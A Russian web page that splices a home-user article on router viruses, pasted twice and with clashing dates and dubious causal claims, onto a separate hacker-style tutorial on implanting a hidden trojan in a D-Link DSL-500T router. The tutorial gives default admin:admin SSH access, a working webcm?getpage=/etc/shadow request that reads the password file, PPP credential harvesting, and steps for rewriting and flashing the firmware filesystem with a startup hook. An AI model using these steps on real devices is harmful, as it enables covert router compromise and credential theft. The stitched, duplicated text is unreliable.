Гид компьютерного мира - Информационный портал
  • Главная
  • Вконтакте
  • Вирусная атака на тп линк. Как проверить роутер на вирусы и почистить его: наши советы

Вирусная атака на тп линк. Как проверить роутер на вирусы и почистить его: наши советы

Уважаемые читатели. С целью экономии Вашего времени. Сразу о главном. ВСЕ нижеизложенное помогает при наличии троянов или вирусов на компе на 5-7 дней. Во время этого периода идут сканы из интернета, зато ПОСЛЕ взлома наступает подозрительная тишина - сканов нет - их уже не пропускает в ПК зараженный роутер, он принимает команды и исполняет их. Это сказывается на скорости интернета - она падает.

Если ваш роутер уже заражен, то кража FTP, почтовых и других паролей дело ближайшего времени.

Уже в 2009г. некто DroneBL сообщил миру о (начале?) эпидемии вирусов которые поражают роутеры. Его новость появилась после атаки на сайт, администраторы этого сайта выявили, что это принципиально новый вид среди Ddos атак. Атака была произведена зараженными роутерами. Так что теперь, "семейство" зомби-копьютеров, обрело пополнение - зомби-роутеры. Была обнаружена ботнет-сеть, которая состояла из домашних зараженных роутеров! Назвали эту сеть «psyb0t». Так официально началась эпидемия вирусов роутера.

Взлом происходит путем сканирования портов роутера и захвата контроля над ним. К сожалению, в инете плодятся статьи как именно ту или другую модель роутера взломать проще всего. Зато именно там можно узнать как же защититься от этой беды. После установления контроля над роутером начинался шпионаж за содержимым проходящего траффика. Кража паролей. Присоединение к общей зловредной деятельности ботнет сети в мировом инете. Сканирование портов домашнего ПК, а вот тут остановлюсь подробнее. Автору удалось отследить, что наличие сетевого подключения к взломанному роутеру приводит к таким проблемам. При переустановке файрволла в системе "ниоткуда" появляются вирусы. При попытке выполнить установку Дебиан или Убунту с одновременным скачиванием обновлений в процессе установки эти системы устанавливались некорректно. А именно

  1. Запуск установленного Firestarter невозможен — происходит запуск административной функции и все. т.е., что-то запускается с админ привилегиями, но что неизвестно. Firestarter просто не запускается.
  2. При наличии инет подключения НЕ запускается Deadbeef, при отключении роутера он тут же включается.
  3. Часть приложений, требующих админ привилегий запускаются без запроса пароля, остальные не запускаются вовсе.
  4. После написания этой статьи эти пункты стали менее выражены. То есть проблемы будут, но ВЫГЛЯДЕТЬ они будут по-другому.

Повторная установка НА ЭТОТ же компьютер, С ТОГО ЖЕ установочного диска, при ВЫКЛЮЧЕННОМ роутере происходила успешно. Система (проверено на Убунту) работала как часики. Это не удивительно, ведь первыми оказались уязвимы роутеры с операционной системой Linux Mipsel. Конечно, вред который происходит от зомби роутера, "разнообразнее" чем я заметил и описал здесь, но чем на данный момент богаты, тем и делимся...

Установленная Винда (при отключеном зараженном роутере) "выжила", но Agnitum Outpost Firewall Pro с первых же минут после установки, обнаружил сканы портов. Т.е. роутер атакует порт (ы).

Рис. Сканирование моих портов из интернета и, наконец, из зараженного роутера.

Как видно на рисунке, 27.04.2017 в 23:51:16 и произошло сканирование уже с зомби роутера. До этого шли сканы от Kaspersky Security Network - 130.117.190.207 (фаерволл их не "любит", но это норма при установленном Касперском) и непонятно откуда. И 27.04.12 был выполнен сброс настроек роутера к заводским(Huawei HG530). С тех пор происходят лишь от Kaspersky Security Network - 130.117.190.207 и ARP_UNWANTED_REPLY — автор включил ARP фильтрацию. Поэтому попытки роутера лишний раз "поговорить" с ПК(это нормальная активность роутера - но сейчас Agnitum пропускает лишь те ARP ответы, которые приходят в ответ на запрос моего ПК), а также попытки некоторых личностей перехватить траффик с помощью поддельного ARP ответа блокируются фаерволлом. Если кто то перехватит таким образом мой траффик и будет пропускать его через свой компьютер, то я буду в роли офисного сотрудника, пользующегося интернетом, в то время как сисадмин этого предприятия видит все мои действия, составляя подробный отчет для начальника. Сколько писем (кому, о чем) написано, сколько болтал в аське. Разумеется пароли от почты и т.д. тоже могут выкрасть.

Итог - с того момента, как я резетнул свой роутер и сделал то, что опишу ниже, нет атак из инета. "Наводчик" ликвидирован, роутер чист и выполняет ТОЛЬКО то, для чего создан. Но троян на ПК тоже должен быть удален, иначе уже он будет наводить хакеров на ваш IP.

Те, кто изготовляют сетевое оборудование, не предлагают мер защиты. В инструкциях к роутерам есть описание, как ввести логин и пароль доступа к провайдеру, но нет и слова, что пароль админа по умолчанию в роутере нельзя оставлять! Кроме того, роутеры обязательно имеют элементы дистанционного управления, которые часто включены. Производители антивирусного софта молчат. Невольно возникает вопрос, кому это выгодно.

Пути заражения.

Лучше один раз увидеть. Для чего предлагаю гиф анимацию, со схематическим разбором ситуации. Если ее не видно, то мешает Адблок или что-то подобное - выключьте его на этой странице.

Их два. Первый - через WAN, он же интернет. Т.е. хакеры находят Ваш IP, например, когда Вы качаете или раздаете файлы с помощью торрент протокола (об этом в конце статьи) и сканируя Ваш IP находят слабые места в защите роутера. Но это реже. Как закрыть эти ворота читаем в этой статье дальше.

Либо же, на нашем ПК есть троян. И вот он то и наводит хакеров на наш динамический(!) IP. Зная этот адрес они уже методично "долбят" роутер. Читаем о троянах во втором пути заражения.

Второй - через LAN, то есть с Вашего ПК. Если на Вашем ПК троян, то хакеры будут иметь возможность подбирать пароль к роутеру, прямо с Вашего ПК. Поэтому этот пароль надо иногда менять. А вот как быть с тем, что зараженный компьютер будет пытаться взломать роутер со стороны, с которой не предусмотрена защита? Для начала надо уяснить, что чистый роутер при зараженном ПК продержится недолго. Обычный брутфорс (подбор пароля методом перебора) сломает его за неделю, а то и быстрее. Так что, если чистить роутер приходится часто, пора подумать о полной чистке от вирусов.

А теперь момент. Откуда на ПК вирус/троян? Перечисляю основные причины и в скобках пути решения. Варианты такие:

1 - установлена изначально крякнутая винда (пользуйтесь чистыми установочными дисками);

2 - чистую винду крякнули после установки (или терпите и переустанавливайте ее ежемесячно или купите винду);

3 - крякнутый софт (пользуйтесь бесплатными программами или покупайте платный);

4 - вирус у вас в личных файлах (прогоните все личные файлы через чистку, как я описал в чистке системы от вирусов);

5 - система заражена уже во время использования через флешку, интернет, хрен знает как (защита - интернет изучаем по-безопасному , про флешки , про последний пункт умолчу).

Отдельно отмечу, что обнаружив IP роутера, хакеры начинают сканировать его с тем, чтобы найти доступ к зашифрованному паролю и затем захватить контроль, используя выкраденный пароль. Так что, не оставляйте роутер включенным, если сейчас не нужен доступ в интернет.

НО!!! Даже если загрузить используя виртуальную машину, начнут долбить Ваш роутер. Тут поможет его отключение и повторное включение в процессе и ГЛАВНОЕ после окончания загрузки торрента - провайдер выдаст после перезапуска роутеру новый динамический IP и хакерам лишь останется гадать, на каком теперь Вы адресе находитесь. И Ваш роутер тоже... Разумеется, на раздачах Вы не останетесь - по окончании загрузки следует сразу выключить программу торрент загрузчик, а ПОСЛЕ этого выключить и включить роутер.

И вообще

НЕ ДЕРЖИТЕ РОУТЕР ВКЛЮЧЕННЫМ БЕЗ НУЖДЫ! Не пускайте к своему имуществу мелкопакостных хакеров лишний раз... Не забывайте чистить роутер каждый раз, когда скорость интернет соединения необоснованно падает. Осторожность не навредит...

Ну все. Теперь можно взять заводскую инструкцию к Вашему роутеру и указать выданный интернет провайдером логин и пароль. Обычно это делается на вкладке WAN settings. Теперь Вашим роутером управлять через интернет не получится. По крайней мере, пока что.

В свете участившихся случаев подмены DNS вредоносными программами на устройствах пользователей интернет, возникает вопрос безопасности Wi-Fi роутеров. Как проверить роутер на вирусы ? Как удалить вирус в роутере ? Вопрос сложный и простой одновременно. Решение есть!


Сам вирус на большинство современных роутеров записать себя сам не может из-за малого места в памяти самого роутера, но может зомбировать роутер для участия в ботнете. Как правило, это ботнет для атаки на различные сервера, или для перенаправления и анализа потоков информации уходящей от вас в интернет.

Ваши пароли и личная переписка могут попасть в руки злоумышленников!

Это необходимо исправить как можно быстрее.

  • Сброс настроек роутера
  • Прошивка роутера
  • Повторная настройка

Сброс настроек роутера

Сбросить настройки роутера вы можете нажатием кнопки ресет (reset). Обычно эту кнопку располагают сзади роутера, там, где и порты LAN. Обычно кнопка утоплена в дырочке, чтобы избежать случайного нажатия, так что придётся использовать зубочистку. Это удалит изменённые вирусом настройки роутере, и установит на их место заводские. Должен предупредить вас, что, если вы не умеете настраивать роутер, то и сбрасывать его настройки вам не стоит !

Прошивка роутера

Иногда вирус "заливает" изменённую прошивку на роутер. Удалить с роутера вирусную прошивку, можно прошив роутер заново.

Соедините компьютер с роутером LAN кабелем. LAN кабель идёт в комплекте к любому роутеру. Или через Wi-Fi, еслинет возможности кабельного соединения. Лучше подключаться кабелем! Беспроводное подключение считается нестабильным и не подходит для прошивки роутера.

После того как мы подсоединились к роутеру, открываем браузер (Chrome, Opera, Mozilla, IE) и вводим в адресную строку адрес роутера ASUS, у асусов это 192.168.1.1, на открывшейся странице надо будет ввести логин и пароль для входа в настройки роутера. Логин: admin, Пароль: admin. Если логин и пароль не подходят, то спрашивайте у того кто настроил вам роутер, возможно он их сменил.

Скачайте прошивку с сайта производителя и выберите прошивку на диске с помошью страницы настроек роутера. Для абсолютного большинства роутеров этапы прошивки одинаковы.

Уважаемые читатели. С целью экономии Вашего времени. Сразу о главном. ВСЕ нижеизложенное помогает при наличии троянов или вирусов на компе на 5-7 дней. Во время этого периода идут сканы из интернета, зато ПОСЛЕ взлома наступает подозрительная тишина - сканов нет - их уже не пропускает в ПК зараженный роутер, он принимает команды и исполняет их. Это сказывается на скорости интернета - она падает.

Если ваш роутер уже заражен, то кража FTP, почтовых и других паролей дело ближайшего времени.

Уже в 2009г. некто DroneBL сообщил миру о (начале?) эпидемии вирусов которые поражают роутеры. Его новость появилась после атаки на сайт, администраторы этого сайта выявили, что это принципиально новый вид среди Ddos атак. Атака была произведена зараженными роутерами. Так что теперь, "семейство" зомби-копьютеров, обрело пополнение - зомби-роутеры. Была обнаружена ботнет-сеть, которая состояла из домашних зараженных роутеров! Назвали эту сеть «psyb0t». Так официально началась эпидемия вирусов роутера.

Взлом происходит путем сканирования портов роутера и захвата контроля над ним. К сожалению, в инете плодятся статьи как именно ту или другую модель роутера взломать проще всего. Зато именно там можно узнать как же защититься от этой беды. После установления контроля над роутером начинался шпионаж за содержимым проходящего траффика. Кража паролей. Присоединение к общей зловредной деятельности ботнет сети в мировом инете. Сканирование портов домашнего ПК, а вот тут остановлюсь подробнее. Автору удалось отследить, что наличие сетевого подключения к взломанному роутеру приводит к таким проблемам. При переустановке файрволла в системе "ниоткуда" появляются вирусы. При попытке выполнить установку Дебиан или Убунту с одновременным скачиванием обновлений в процессе установки эти системы устанавливались некорректно. А именно

  1. Запуск установленного Firestarter невозможен — происходит запуск административной функции и все. т.е., что-то запускается с админ привилегиями, но что неизвестно. Firestarter просто не запускается.
  2. При наличии инет подключения НЕ запускается Deadbeef, при отключении роутера он тут же включается.
  3. Часть приложений, требующих админ привилегий запускаются без запроса пароля, остальные не запускаются вовсе.
  4. После написания этой статьи эти пункты стали менее выражены. То есть проблемы будут, но ВЫГЛЯДЕТЬ они будут по-другому.

Повторная установка НА ЭТОТ же компьютер, С ТОГО ЖЕ установочного диска, при ВЫКЛЮЧЕННОМ роутере происходила успешно. Система (проверено на Убунту) работала как часики. Это не удивительно, ведь первыми оказались уязвимы роутеры с операционной системой Linux Mipsel. Конечно, вред который происходит от зомби роутера, "разнообразнее" чем я заметил и описал здесь, но чем на данный момент богаты, тем и делимся...

Установленная Винда (при отключеном зараженном роутере) "выжила", но Agnitum Outpost Firewall Pro с первых же минут после установки, обнаружил сканы портов. Т.е. роутер атакует порт (ы).

Рис. Сканирование моих портов из интернета и, наконец, из зараженного роутера.

Как видно на рисунке, 27.04.2017 в 23:51:16 и произошло сканирование уже с зомби роутера. До этого шли сканы от Kaspersky Security Network - 130.117.190.207 (фаерволл их не "любит", но это норма при установленном Касперском) и непонятно откуда. И 27.04.12 был выполнен сброс настроек роутера к заводским(Huawei HG530). С тех пор происходят лишь от Kaspersky Security Network - 130.117.190.207 и ARP_UNWANTED_REPLY — автор включил ARP фильтрацию. Поэтому попытки роутера лишний раз "поговорить" с ПК(это нормальная активность роутера - но сейчас Agnitum пропускает лишь те ARP ответы, которые приходят в ответ на запрос моего ПК), а также попытки некоторых личностей перехватить траффик с помощью поддельного ARP ответа блокируются фаерволлом. Если кто то перехватит таким образом мой траффик и будет пропускать его через свой компьютер, то я буду в роли офисного сотрудника, пользующегося интернетом, в то время как сисадмин этого предприятия видит все мои действия, составляя подробный отчет для начальника. Сколько писем (кому, о чем) написано, сколько болтал в аське. Разумеется пароли от почты и т.д. тоже могут выкрасть.

Итог - с того момента, как я резетнул свой роутер и сделал то, что опишу ниже, нет атак из инета. "Наводчик" ликвидирован, роутер чист и выполняет ТОЛЬКО то, для чего создан. Но троян на ПК тоже должен быть удален, иначе уже он будет наводить хакеров на ваш IP.

Те, кто изготовляют сетевое оборудование, не предлагают мер защиты. В инструкциях к роутерам есть описание, как ввести логин и пароль доступа к провайдеру, но нет и слова, что пароль админа по умолчанию в роутере нельзя оставлять! Кроме того, роутеры обязательно имеют элементы дистанционного управления, которые часто включены. Производители антивирусного софта молчат. Невольно возникает вопрос, кому это выгодно.

Пути заражения.

Лучше один раз увидеть. Для чего предлагаю гиф анимацию, со схематическим разбором ситуации. Если ее не видно, то мешает Адблок или что-то подобное - выключьте его на этой странице.

Их два. Первый - через WAN, он же интернет. Т.е. хакеры находят Ваш IP, например, когда Вы качаете или раздаете файлы с помощью торрент протокола (об этом в конце статьи) и сканируя Ваш IP находят слабые места в защите роутера. Но это реже. Как закрыть эти ворота читаем в этой статье дальше.

Либо же, на нашем ПК есть троян. И вот он то и наводит хакеров на наш динамический(!) IP. Зная этот адрес они уже методично "долбят" роутер. Читаем о троянах во втором пути заражения.

Второй - через LAN, то есть с Вашего ПК. Если на Вашем ПК троян, то хакеры будут иметь возможность подбирать пароль к роутеру, прямо с Вашего ПК. Поэтому этот пароль надо иногда менять. А вот как быть с тем, что зараженный компьютер будет пытаться взломать роутер со стороны, с которой не предусмотрена защита? Для начала надо уяснить, что чистый роутер при зараженном ПК продержится недолго. Обычный брутфорс (подбор пароля методом перебора) сломает его за неделю, а то и быстрее. Так что, если чистить роутер приходится часто, пора подумать о полной чистке от вирусов.

А теперь момент. Откуда на ПК вирус/троян? Перечисляю основные причины и в скобках пути решения. Варианты такие:

1 - установлена изначально крякнутая винда (пользуйтесь чистыми установочными дисками);

2 - чистую винду крякнули после установки (или терпите и переустанавливайте ее ежемесячно или купите винду);

3 - крякнутый софт (пользуйтесь бесплатными программами или покупайте платный);

4 - вирус у вас в личных файлах (прогоните все личные файлы через чистку, как я описал в чистке системы от вирусов);

5 - система заражена уже во время использования через флешку, интернет, хрен знает как (защита - интернет изучаем по-безопасному , про флешки , про последний пункт умолчу).

Отдельно отмечу, что обнаружив IP роутера, хакеры начинают сканировать его с тем, чтобы найти доступ к зашифрованному паролю и затем захватить контроль, используя выкраденный пароль. Так что, не оставляйте роутер включенным, если сейчас не нужен доступ в интернет.

НО!!! Даже если загрузить используя виртуальную машину, начнут долбить Ваш роутер. Тут поможет его отключение и повторное включение в процессе и ГЛАВНОЕ после окончания загрузки торрента - провайдер выдаст после перезапуска роутеру новый динамический IP и хакерам лишь останется гадать, на каком теперь Вы адресе находитесь. И Ваш роутер тоже... Разумеется, на раздачах Вы не останетесь - по окончании загрузки следует сразу выключить программу торрент загрузчик, а ПОСЛЕ этого выключить и включить роутер.

И вообще

НЕ ДЕРЖИТЕ РОУТЕР ВКЛЮЧЕННЫМ БЕЗ НУЖДЫ! Не пускайте к своему имуществу мелкопакостных хакеров лишний раз... Не забывайте чистить роутер каждый раз, когда скорость интернет соединения необоснованно падает. Осторожность не навредит...

Ну все. Теперь можно взять заводскую инструкцию к Вашему роутеру и указать выданный интернет провайдером логин и пароль. Обычно это делается на вкладке WAN settings. Теперь Вашим роутером управлять через интернет не получится. По крайней мере, пока что.

Привет, мой читатель! В этой статье я расскажу о замечательных ADSL-роутерах
– незаменимых в домашних и промышленных сетях железяках. Поведаю тебе о вопросе
эксплуатирования этих железок в выгодных для нас целях – вшивании зверского
троянца во внутренности маршрутизатора. И таким образом, чтобы это не заметил ни
умный админ, ни ушастый юзер.

Пожелания или требования к IQ

Когда я писал эту статью, то предполагал, что читать ее будет достаточно
продвинутый юзер с установленным GNU\Linux, который также имеет некоторые навыки
работы и программирования в этой операционной системе. Однако представляется
возможным повторить мои действия и на Windows (используя Cygwin, например), но
это описано не будет. Для получения максимального удовольствия необходимы также
навыки владения паяльником (это уже опционально).

А началось все...

Что-то я отвлекся. Итак, все началось с того, как однажды зависла эта самая
железка, точнее, она предательски оборвала соединение с интернетом и никак не
хотела его восстанавливать. При этом находилась она далеко, физического доступа
к ней не было (впрочем, что-то я заврался – мне просто было лень встать с дивана
с перезагрузить роутер:)), Web-интерфейс не отзывался, но я вспомнил, что на
этой штуковине должен быть telnet или ssh. Заходить в зону администрирования я
ранее не пробовал и опрометчиво не менял пароль к моей учетной записи (как
оказалось позже, очень зря, ведь по дефолту он "admin:admin"). Итак, я
попробовал SSH, и он работал!

$ ssh [email protected]
$ Password:

Как гром среди ясного неба! BusyBox! Никогда не задумывался о том, под чьим
управлением находится этот роутер, оказывается – GNU/Linux! Мне стало жутко
интересно, как же здесь все работает, и, мысленно благодаря лень и случай, я
пустился в исследование.

Сбор информации

Итак, с чего я начал? Конечно, со списка доступных команд:

# busybox
...
Currently defined functions:
[, ash, busybox, cat, chgrp, chmod, chown, cp, date, dd, df, echo, false, free,
grep, hostname, id, ifconfig, init, insmod, kill, ln, login, ls, lsmod, mkdir,
modprobe, mount, mv, passwd, ping, ps, pwd, reboot, rm, rmmod, route, sh, sleep,
sync, tar, test, tftp, touch, true, tty, umount, wget, whoami, yes

Набор вполне вменяем, для нормального исследования и воплощения идей хватит.
Следующим проснулся интерес к версии ядра:

# cat /proc/version
Linux version 2.4.17_mvl21-malta-mips_fp_le (root@xy) (gcc version 2.95.3
20010315 (release/MontaVista)) #1 Thu Dec 28 05:45:00 CST 2006

Для справки: MontaVista – дистрибутив, ориентированный на встраиваемые
системы. Подавляющее большинство производителей сетевого оборудования отдают
предпочтение этой системе. Ее можно найти и на других устройствах, например, в
электронных книгах или сотовых телефонах.

# cat /etc/versions
CUSTOMER=DLinkRU
MODEL=DSL-500T
VERSION=V3.02B01T01.RU.20061228
HTML_LANG=EN.302
BOARD=AR7VW
VERSION_ID=
CPUARCH_NAME=AR7
MODEL_ID=
FSSTAMP=20061228055253

# cat /proc/cpuinfo
processor
: 0
cpu model
: MIPS 4KEc V4.8
BogoMIPS
: 149.91
wait instruction: no
microsecond timers: yes
extra interrupt vector: yes
hardware watchpoint: yes
VCED exceptions: not available
VCEI exceptions: not available

AR7 – это двухядерный чип, разработанный компанией Texas Instruments. Он
содержит полноценный ADSL-роутер на одном чипе, поддерживающий стандарты ADSL1,
ADSL2,ADSL2+. Основан на высокопроизводительном RISC процессоре MIPS 4KEc, с
тактовой частотой 175 или 233 (в зависимости от технологии производства: 18 мкм
или 13 мкм). Чип содержит на борту 2 UART-интерфейса, один из которых (UART_A)
используется для вывода отладочной информации, а также EJTAG-интерфейс, служащий
для отладки (прошивки) Flash0памяти. Об использовании этих интерфейсов будет
рассказано далее.

Напоследок я посмотрел сведения о памяти:

# cat /proc/mounts
/dev/mtdblock/0 / squashfs ro 0 0
none /dev devfs rw 0 0
proc /proc proc rw 0 0
ramfs /var ramfs rw 0 0

# cat /proc/mtd
dev: size erasesize name
mtd0: 0034f000 00010000 "mtd0"
mtd1: 00090f70 00010000 "mtd1"
mtd2: 00010000 00002000 "mtd2"
mtd3: 00010000 00010000 "mtd3"
mtd4: 003e0000 00010000 "mtd4"

Естественно, не забыв про адреса блоков:

# cat /proc/ticfg/env | grep mtd
mtd0 0x900a1000,0x903f0000
mtd1 0x90010090,0x900a1000
mtd2 0x90000000,0x90010000
mtd3 0x903f0000,0x90400000
mtd4 0x90010000,0x903f0000

Из вышеописанного следовало, что Flash-память (/dev/mtdblock) имеет 5 блоков:

mtd0 – образ файловой системы SquashFs. Это специальная файловая
система, находящаяся в сжатом состоянии и доступная только для чтения. Для
сжатия используется алгоритм gzip, но в данном случае – LZMA (коэффициент сжатия
выше). Размер этого блока равен 4 Мб.

mtd1 – этот блок содержит ядро MontaVista в сжатом LZMA алгоритмом
состоянии, размер блока 600 Кб.

mtd2 – Bootloader ADAM2, выполняет загрузку ядра, так же имеет
сервисный FTP-сервер для восстановления и перепрошивки. Подробнее о нем будет
сказано далее. Размер блока равен 64 Кб.

mtd3 – поделен между конфигурационными данными и environment
(переменные окружения) блоком, взглянуть на который можно в /proc/ticfg/env.
Конфигурационные данные находятся в /etc/config.xml. Посредником между файловой
системой блоком конфигурации является закрытая (как и все cm_*, управляющие, о
них позже) программа cm_logic. Размер этого блока – также 64 Кб.

mtd4 – здесь содержится сигнатура прошивки, ядро и образ файловой
системы. Используется этот блок при обновлении прошивки через Web-интерфейс.
Первоначально она складируется в этот блок, потом проверяется контрольная сумма
и, если сходится, записывается на свое новое место.

Оперативная память (в этой модели размером 16 Мб, но ADAM2 в этой модели
видит только 14 Мб, лечится обновлением), смонтирована к директории /var, и ее
спокойно можно использовать в наших целях:

# free
total used free shared buffers
Mem: 14276 10452 3824 0

Не забудем пробежаться по списку процессов. Из интересных здесь затаились
демоны: thttpd - Web-server; dproxy - кэширующий DNS запросы proxy server; ddnsd
- DNS daemon; pppd... – собственно daemon, реализующий подключение по протоколу
PPP, а в параметрах мы видим данные учетной записи. Итак, если роутер не
прикидывается шлангом (читай – не находится в режиме bridge), то можно с
легкостью заполучить учетную запись.

Программы cm_* являются закрытыми и в состав исходных кодов входят уже
скомпилированными (эти программы – также разработка Texas Instruments, на D-Link
за несоблюдение лицензий ругаться не стоит).

cm_logic – программа управляющая логикой работы системы, через нее
проходит конфигурация; производит синхронизацию /etc/config.xml с
соответственной частью содержимого /dev/ticfg (указывающего на mtd3).

cm_cli – интерфейс командной строки для управления и конфигурации
системы. Например, настройки подключений производятся через этот интерфейс.

cm_pc – выполняет запуск и мониторинг процессов, связи с правилами
(например, запускать программу как демон, также в правила входит информация об
открываемых портах) описанными в /etc/progdefs.xml; загружается сразу после
ядра.

webcm – CGI-интерфейс, дыряв, например позволяет взглянуть на /etc/shadow,
просто обратившись по URL.

http://192.168.1.1/../../../etc/shadow

Ничего не получил, thttpd не так прост, а вот если так:

http://192.168.1.1/cgi-bin/webcm?getpage=/etc/shadow

Другое дело. Это можно использовать для сбора информации, если нет доступа к
ssh/telnet, но есть доступ к Web-интерфейсу.

firmwarecfg – используется для прошивки через Web-интерфейс. На вход
этой программы POST-запросом из Web-интерфейса передается образ, а она уже
перенаправляет к Flash-памяти, предварительно проверив контрольную сумму образа.

На этом сбор первичной информации закончен, пора переходить к решительным
действиям.

Установка средств разработки и компиляция прошивки

Прошивки роутеров D-Link (да и всех остальных, основанных на GNU/Linux)
распространяются под лицензией GPL, получить их можно на официальном
FTP-сервере. На самом деле можно выбрать любую из списка предложенных прошивок,
они одинаковы (касательно T-серии). В поставке – исходники ядра, окружения,
необходимых инструментов и toolchain для разработки/компиляции существующих
программ. Его следует распаковать в корень и добавить в переменную окружения
PATH путь до bin-директории toolchain`a:

$ tar xvf tools.tgz
$ export PATH=$PATH:/opt/

Теперь, чтобы скомпилировать свою собственную прошивку, заходим в директорию
с исходными кодами и выполняем этот самый make.

$ cd DSL/TYLinuxV3/src && make

Будет заданно множество вопросов о включении поддержки устройств (лучше
ответить на них положительно). По окончании компиляции в директории TYLinuxV3/images
будут созданы образы прошивки. Также можно запустить скрипт, одноименный с твоей
моделью из директории /TYLinuxV3/src/scripts.

Пару слов о передаче файлов между роутером и компьютером. Самый первый
способ, который я применил – возможность передачи файлов по протоколу SSH,
используя для этого программу scp. Но чуть позже я узнал, что mc (Midnight
Commander) также имеет возможность соединяться по SSH (Panel -> Shell connection).
Как вариант, можно поднять на своем рабочем месте Web- или FTP-сервер. Позже я
отдал предпочтение Web-серверу, ибо работает он наиболее резво. Установил я
thttpd, маленький и быстрый, как и на роутере. Запускаем у себя и стягиваем на
роутер файл, предварительно перейдя в директорию /var (она, как говорилось
ранее, доступна для записи).

$ thttpd -g -d ~/ForRouter -u user -p 8080
# cd /var
# wget http://192.168.1.2/file

Чтобы стянуть файл с роутера, можно также поднять Web-server:

# thttpd -g -d /var -u root -p 8080

Обрати внимание, если ты хочешь скачать с роутера исполняемый файл, следует
убрать права на запуск. При скачивании большого количества файлов с роутера
лучше использовать mc, не нужно будет предварительно копировать файлы в /var и
убирать права, а после – удалять эти файлы для освобождения места. В общем, дело
вкуса, выбирай любой вариант, который тебе удобен.

Создание своей программы

Начнем, конечно же, с классики программирования – HelloWorld. Каких-то особых
правил нет. Текст программы до боли знакомый:

#include
#include

int main(void)
{
printf("Mate.Feed.Kill.Repeat.");
return 0;
}

Компилируем (путь до toolchain"а должен быть указан в переменной окружения
PATH):

$ mips_fp_le-gcc hell.c -o hell
$ mips_fp_le-strip -s hell

# cd /var
# chmod +x hell
# ./hell

И... ничего не произойдет, либо вывалится оповещение path not found. В чем же
дело? Я ранее уже говорил про cm_pc – эта программа запускает другие в
соответствии с правилами, описанными в /etc/progdefs.xml. Вот и пришло время
модифицировать и прошивать образы файловой системы.

Модификация файловой системы

Для того, чтобы модифицировать файловую систему, ее для начала надо
распаковать. Как я уже упоминал, файловая система здесь – SquashFs с патчем LZMA.
В пакет для разработки прошивок входит только программа mksquashfs (для создания
образа), unsquashfs (для распаковки) отсутствует. Но это не беда, все доступно
на сайте файловой системы, нужна нам именно первая версия. Наложив LZMA-патч и
собрав утилиты, откладываем их в удобное место. Для начала получим образ
файловой системы с роутера:

# cat /dev/mtdblock/0 > /var/fs.img

$ mkdir unpacked_fs
$ unsquashfs fs.img unpacked_fs

Теперь можно модифицировать как угодно, а угодно нам скинуть FuckTheWorld в
директорию /bin и добавить правило для запуска в /etc/progdefs.xml.

$ cp hello unpacked_fs/bin
$ vim unpacked_fs/etc/progdefs.xml

А добавляем вот что (между тэгами ):

hell
/bin/hell

Сохраняем и запаковываем обратно:

$ mksquashfs unpacked_fs my_fs.img -noappend

Следует обратить внимание, что образ файловой системы не должен превышать
допустимых размеров. Если тебе приспичило что-то срочно испробовать, и оно не
помещается, удали из образа что-нибудь "ненужное" вида grep, whoami, или же
воспользуйся упаковщиком исполняемых файлов UPX. Теперь загружаем на роутер
образ и переходим к следующему разделу.

Запись образа файловой системы

Способ прошивки роутера очень прост, заключается он в обращении к устройству
/dev/mtdblock/*. Итак, заливаем на роутер любым удобным способом образ файловой
системы и производим сие нехитрое действие:

# cat my_fs.img > /dev/mtdblock/0 && reboot

# cp my_fs.img /dev/mtdblock/0 && reboot

Через некоторое время, когда пройдет процесс записи, роутер перезагрузится, и
изменения вступят в силу. Пробуем запустить наш пример:

# hell
Mate.Feed.Kill.Repeat.

Способы восстановления в случае неудачи

Прежде чем прошивать роутер более серьезными "поделками" следует узнать, как
же действовать в критических случаях, когда маршрутизатор отказывается
загружаться. Безвыходных ситуаций нет. На помощь приходит ADAM2 FTP-сервер. Для
начала следует запустить FTP-клиент на IP-адрес ADAM2, который можно подглядеть
в /proc/ticfg/env (параметр my_ipaddress).

$ ftp 192.168.1.199
220 ADAM2 FTP Server ready.
530 Please login with USER and PASS.

Для наглядности можно включить отладочный режим, тогда будут выводиться вся
информация и все ответы FTP:

Логин/пароль – adam2/adam2. Процесс перепрошивки очень прост. Для начала
переводим сессию FTP в бинарный режим:

ftp> quote MEDIA FLSH

Теперь отправляем, например, образ файловой системы и указываем место
назначения:

ftp> put fs.img "fs.img mtd0"

Ждем окончания записи, перезагружаем роутер, выходим из сессии:

ftp> quote REBOOT
ftp> quit

Все! Как видишь, нет ничего сложного, теперь если что-то пойдет не так, ты
всегда можешь исправить ситуацию.

Для удобства работы, следует дать нормальный IP-адрес, включить
автоматическую загрузку (чтобы с reset"ом не плясать) и немного увеличить время
ожидания подключения перед загрузкой ядра. Все эти параметры хранятся в
переменных окружения, есть специальные команды FTP ADAM2: GETENV и SETENV (для
получения и установки переменной соответственно). В сессии FTP вводим следующие
команды:

ftp> SETENV autoload,1
ftp> SETENV autoload_timeout,8
ftp> SETENV my_ipaddress,192.168.1.1
ftp> quote REBOOT
ftp> quit

Роутер перезагружается и можно зайти на ADAM2 по 192.168.1.1:21. Если
появится желание перепрошить образ ядра, и ядро откажется загружаться, FTP
запустится сам. Перед прошивкой модифицированными образами обязательно следует
сохранить текущие для восстановления. Вообще, сменить переменные окружения можно
и через /proc/ticfg/env, мне просто захотелось рассказать больше о работе с FTP.

# echo my_ipaddress 192.168.1.1 > proc/ticfg/env

А проверить изменения можно так:

# cat /proc/ticfg/env | grep my_ipaddress

Что делать, если ты захотел попробовать перепрошить загрузчик, и как
действовать в случае неудачи? Либо роутер по каким-то причинам не запускается, и
нет доступа к ADAM2? Выход есть – JTAG, а точнее, в этом чипе присутствует EJTAG
(расширенная версия). Это интерфейс для внутрисхемной отладки\программирования.

Для подключения к этому интерфейсу нам понадобится LPT-порт компьютера,
разъемы и 4 резистора. Схема простейшая.

Спешу заметить, что прошивка через JTAG – дело не быстрое, займет достаточно
много времени. Так что использовать стоит только для восстановления загрузчика,
если даже он не работает. Для общения по JTAG следует использовать специальную
программу, например UrJTAG. Ниже приведен пример работы по этому интерфейсу.
Установка связи:

jtag> cable parallel 0x378 DLC5
jtag> detect

Обнаружение Flash-памяти:

jtag> detectflash 0x30000000 1

Чтение Flash-памяти:

jtag> readmem 0x30000000 0x400000 fullflash.img

Запись в память (загрузчика):

jtag> flashmem 0x30000000 adam2.img

Полезно также знать о UART-интерфейсе (ранее я обещал о нем рассказать). В
UART_A отчитывается, то есть ведет лог загрузчик (на ранней стадии загрузки с
ним можно и пообщаться) и ядро. При написании модифицированных ядер это
незаменимо для отладки. UART - Universal Asynchronous Receiver/Transmitter
(универсальный асинхронный приемопередатчик) почти всегда присутствует на
микроконтроллерах.

